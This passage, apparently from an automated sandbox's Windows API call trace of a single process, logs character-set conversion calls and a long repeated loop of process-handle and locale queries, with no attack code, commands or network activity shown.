cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ…\x06Å°\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0072.909] GetLastError () returned 0x0 [0072.909] SetLastError (dwErrCode=0x0) [0072.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0072.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0072.909] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0072.909] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0072.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ…\x06Å°\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0072.909] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41c25b) returned 0x0 [0072.909] RtlSizeHeap (HeapHandle=0x4200000, Flags=0x0, MemoryPointer=0x4202f18) returned 0x80 [0072.910] GetCurrentProcess () returned 0xffffffff [0072.910] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.910] GetSystemDefaultLangID () returned 0x2740409 [0072.910] GetThreadLocale () returned 0x409 [0072.910] GetCurrentProcess () returned 0xffffffff [0072.910] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.910] GetSystemDefaultLangID () returned 0x2740409 [0072.910] GetThreadLocale () returned 0x409 [0072.910] GetCurrentProcess () returned 0xffffffff [0072.910] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.911] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.911] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.911] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.911] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.911] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.911] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.911] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.911] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.911] GetSystemDefaultLangID () returned 0x2740409 [0072.911] GetThreadLocale () returned 0x409 [0072.911] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.912] GetThreadLocale () returned 0x409 [0072.912] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.912] GetThreadLocale () returned 0x409 [0072.912] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.912] GetThreadLocale () returned 0x409 [0072.912] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.912] GetThreadLocale () returned 0x409 [0072.912] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.912] GetThreadLocale () returned 0x409 [0072.912] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.912] GetThreadLocale () returned 0x409 [0072.912] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.912] GetThreadLocale () returned 0x409 [0072.912] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.912] GetThreadLocale () returned 0x409 [0072.912] GetCurrentProcess () returned 0xffffffff [0072.912] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.912] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.913] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.913] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.913] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.913] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.913] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.913] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.913] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.913] GetSystemDefaultLangID () returned 0x2740409 [0072.913] GetThreadLocale () returned 0x409 [0072.913] GetCurrentProcess () returned 0xffffffff [0072.913] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.914] GetSystemDefaultLangID () returned 0x2740409 [0072.914] GetThreadLocale () returned 0x409 [0072.914] GetCurrentProcess () returned 0xffffffff [0072.914] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.914] GetSystemDefaultLangID () returned 0x2740409 [0072.914] GetThreadLocale () returned 0x409 [0072.914] GetCurrentProcess () returned 0xffffffff [0072.914] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.914] GetSystemDefaultLangID () returned 0x2740409 [0072.914] GetThreadLocale () returned 0x409 [0072.914] GetCurrentProcess () returned 0xffffffff [0072.914] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.914] GetSystemDefaultLangID () returned 0x2740409 [0072.914] GetThreadLocale () returned 0x409 [0072.914] GetCurrentProcess () returned 0xffffffff [0072.914] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.914] GetSystemDefaultLangID () returned 0x2740409 [0072.914] GetThreadLocale () returned 0x409 [0072.914] GetCurrentProcess () returned 0xffffffff [0072.914] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.914] GetSystemDefaultLangID () returned 0x2740409 [0072.914] GetThreadLocale () returned 0x409 [0072.914] GetCurrentProcess () returned 0xffffffff [0072.914] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.914] GetSystemDefaultLangID () returned 0x2740409 [0072.914] GetThreadLocale () returned 0x409 [0072.914] GetCurrentProcess () returned 0xffffffff [0072.914] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.914] GetSystemDefaultLangID () returned 0x2740409 [0072.914] GetThreadLocale () returned 0x409 [0072.914] GetCurrentProcess () returned 0xffffffff [0072.914] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.915] GetCurrentProcess () returned 0xffffffff [0072.915] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.915] GetCurrentProcess () returned 0xffffffff [0072.915] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.915] GetCurrentProcess () returned 0xffffffff [0072.915] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.915] GetCurrentProcess () returned 0xffffffff [0072.915] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.915] GetCurrentProcess () returned 0xffffffff [0072.915] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.915] GetCurrentProcess () returned 0xffffffff [0072.915] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.915] GetCurrentProcess () returned 0xffffffff [0072.915] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.915] GetCurrentProcess () returned 0xffffffff [0072.915] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.915] GetSystemDefaultLangID () returned 0x2740409 [0072.915] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.916] GetSystemDefaultLangID () returned 0x2740409 [0072.916] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.916] GetSystemDefaultLangID () returned 0x2740409 [0072.916] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.916] GetSystemDefaultLangID () returned 0x2740409 [0072.916] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.916] GetSystemDefaultLangID () returned 0x2740409 [0072.916] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.916] GetSystemDefaultLangID () returned 0x2740409 [0072.916] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.916] GetSystemDefaultLangID () returned 0x2740409 [0072.916] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.916] GetSystemDefaultLangID () returned 0x2740409 [0072.916] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.916] GetSystemDefaultLangID () returned 0x2740409 [0072.916] GetThreadLocale () returned 0x409 [0072.916] GetCurrentProcess () returned 0xffffffff [0072.916] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.917] GetCurrentProcess () returned 0xffffffff [0072.917] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.917] GetCurrentProcess () returned 0xffffffff [0072.917] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.917] GetCurrentProcess () returned 0xffffffff [0072.917] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.917] GetCurrentProcess () returned 0xffffffff [0072.917] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.917] GetCurrentProcess () returned 0xffffffff [0072.917] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.917] GetCurrentProcess () returned 0xffffffff [0072.917] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.917] GetCurrentProcess () returned 0xffffffff [0072.917] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.917] GetCurrentProcess () returned 0xffffffff [0072.917] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.917] GetSystemDefaultLangID () returned 0x2740409 [0072.917] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.918] GetSystemDefaultLangID () returned 0x2740409 [0072.918] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.918] GetSystemDefaultLangID () returned 0x2740409 [0072.918] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.918] GetSystemDefaultLangID () returned 0x2740409 [0072.918] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.918] GetSystemDefaultLangID () returned 0x2740409 [0072.918] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.918] GetSystemDefaultLangID () returned 0x2740409 [0072.918] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.918] GetSystemDefaultLangID () returned 0x2740409 [0072.918] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.918] GetSystemDefaultLangID () returned 0x2740409 [0072.918] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.918] GetSystemDefaultLangID () returned 0x2740409 [0072.918] GetThreadLocale () returned 0x409 [0072.918] GetCurrentProcess () returned 0xffffffff [0072.918] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.919] GetSystemDefaultLangID () returned 0x2740409 [0072.919] GetThreadLocale () returned 0x409 [0072.919] GetCurrentProcess () returned 0xffffffff [0072.919] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.919] GetSystemDefaultLangID () returned 0x2740409 [0072.919] GetThreadLocale () returned 0x409 [0072.919] GetCurrentProcess () returned 0xffffffff [0072.919] GetProcessHandleCount (in: hProcess=0x0, 